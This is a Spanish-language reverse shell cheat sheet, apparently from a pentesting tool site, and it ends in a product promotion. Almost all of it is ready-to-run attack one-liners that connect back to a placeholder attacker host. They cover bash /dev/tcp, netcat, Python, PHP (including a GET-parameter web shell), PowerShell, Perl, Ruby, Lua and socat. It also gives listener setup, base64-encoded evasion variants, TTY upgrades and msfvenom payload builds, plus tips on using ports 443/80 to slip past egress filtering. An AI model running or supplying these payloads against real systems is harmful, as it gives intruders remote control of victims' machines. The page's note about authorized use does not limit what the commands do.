# Configurar un listener
Antes de ejecutar cualquier payload, inicia un listener en tu máquina atacante. Los puertos 443 u 80 se camuflan con el tráfico normal y rara vez se filtran en salida.
nc -lvnp 443rlwrap nc -lvnp 443msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 443; run"# Reverse Shells Bash
Bash está en casi todos los hosts Linux. El método /dev/tcp no necesita ningún binario extra.
bash -i >& /dev/tcp/ATACANTE/443 0>&1bash -c 'bash -i >& /dev/tcp/ATACANTE/443 0>&1'0<&196;exec 196<>/dev/tcp/ATACANTE/443; sh <&196 >&196 2>&196echo -n 'bash -i >& ...' | base64 y luego echo BASE64 | base64 -d | bash.# Reverse Shells Netcat
Si netcat está instalado, es la opción más simple. Fíjate en la variante presente — algunas no tienen la opción -e.
nc -e /bin/sh ATACANTE 443nc ATACANTE 443 -e /bin/bashrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATACANTE 443 >/tmp/fncat ATACANTE 443 -e /bin/bashncat --ssl ATACANTE 443 -e /bin/bash# Reverse Shells Python
Python está presente en la mayoría de sistemas Linux. Usa python3, con python como respaldo.
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATACANTE",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATACANTE",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'# Reverse Shells PHP
Perfecto tras subir un archivo a un servidor web, o vía LFI/RCE.
php -r '$sock=fsockopen("ATACANTE",443);exec("/bin/sh -i <&3 >&3 2>&3");'<?php system($_GET['cmd']); ?>php -r '$s=fsockopen("ATACANTE",443);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);'# Reverse Shells PowerShell (Windows)
PowerShell es la opción principal en Windows. El one-liner funciona en prácticamente todos los hosts Windows modernos.
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATACANTE',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"powershell -nop -w hidden -e PAYLOAD_BASE64echo -n 'IEX...' | iconv -t UTF-16LE | base64 -w0.# Perl, Ruby & Otros
Respaldos cuando bash/python/nc no están disponibles.
perl -e 'use Socket;$i="ATACANTE";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATACANTE",443);loop{c.puts `#{c.gets.chomp}`}'xterm -display ATACANTE:1lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATACANTE',443);os.execute('/bin/sh -i <&3 >&3 2>&3');"# Socat — Shell totalmente estable
Socat da de inmediato un TTY totalmente interactivo — sin trucos stty manuales. Transfiere el binario socat si hace falta.
socat file:`tty`,raw,echo=0 tcp-listen:443socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE:443socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0 file:`tty`,raw,echo=0# Upgrade a un TTY completo
Un shell netcat crudo es frágil — Ctrl+C lo mata y vim/ssh/su se rompen. Mejóralo en cuatro pasos.
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermCtrl+Zstty raw -echo; fgstty -a en tu terminal para leer rows/cols, luego fíjalos en el shell: stty rows 38 cols 116 para que las apps a pantalla completa se rendericen bien.# Payloads msfvenom
Genera binarios y scripts de reverse shell independientes cuando necesitas un archivo para soltar.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe -o rev.exemsfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f elf -o rev.elfmsfvenom -p php/reverse_php LHOST=IP LPORT=443 -f raw -o rev.phpmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=443 -f exe -o met.exe❓ FAQ Reverse Shell
Una sesión de shell donde el objetivo se conecta hacia ti en lugar de que tú te conectes a él. Evita los firewalls entrantes ya que el tráfico saliente suele estar permitido. Inicia un listener (nc -lvnp 443) y ejecuta un payload en el objetivo.
Reverse: el objetivo se conecta hacia ti (evita firewalls entrantes). Bind: el objetivo abre un puerto y tú te conectas a él (ese puerto debe ser alcanzable). Se prefieren los reverse porque el saliente rara vez se bloquea.
nc -lvnp 443 es el clásico. Usa rlwrap nc -lvnp 443 para historial con flechas, o un multi/handler de Metasploit con un payload correspondiente.
Un shell netcat crudo no tiene TTY — Ctrl+C lo mata y vim/ssh/su se congelan. Upgrade: python3 -c 'import pty;pty.spawn("/bin/bash")', luego Ctrl+Z, luego stty raw -echo; fg, luego export TERM=xterm.
Adáptate a lo instalado. Linux: bash y python casi siempre están. Windows: PowerShell. Si netcat tiene -e, es lo más simple. Ten una opción socat para un shell cifrado y estable.
Socat es lo más limpio: socat file:`tty`,raw,echo=0 tcp-listen:443 en tu host y socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE:443 en el objetivo.
msfvenom -p <payload> LHOST=IP LPORT=443 -f <formato> -o salida. Ej. windows/x64/shell_reverse_tcp ... -f exe. Recíbelo con un nc -lvnp 443 correspondiente o multi/handler.
Son legítimos para pentests autorizados, CTF y tus propios labs. Usarlos contra sistemas que no posees o sin permiso escrito es ilegal. Mantente siempre dentro del alcance.
📚 Recursos relacionados
- Cheatsheet Escalada de Privilegios Linux — ¿Tienes shell? Ahora escala a root — 80+ técnicas
- Cheatsheet Escalada de Privilegios Windows — De tu shell PowerShell a NT AUTHORITY\SYSTEM
- Cheatsheet OSCP — Conseguir un shell estable es una habilidad central del OSCP
- Glosario de Pentesting — TTY, payload, listener, LFI y 60+ términos clave definidos
Convierte tu acceso en un informe PDF profesional. La IA rellena CVE, CVSS y severidad.
¿Quieres los 12 020+ comandos?
Esta cheatsheet de reverse shell es solo una rama del mapa. Pentest Mindmap organiza 12 020+ comandos en 34 categorías — de recon a post-explotación — con búsqueda instantánea y copia en un clic.
Empezar gratis →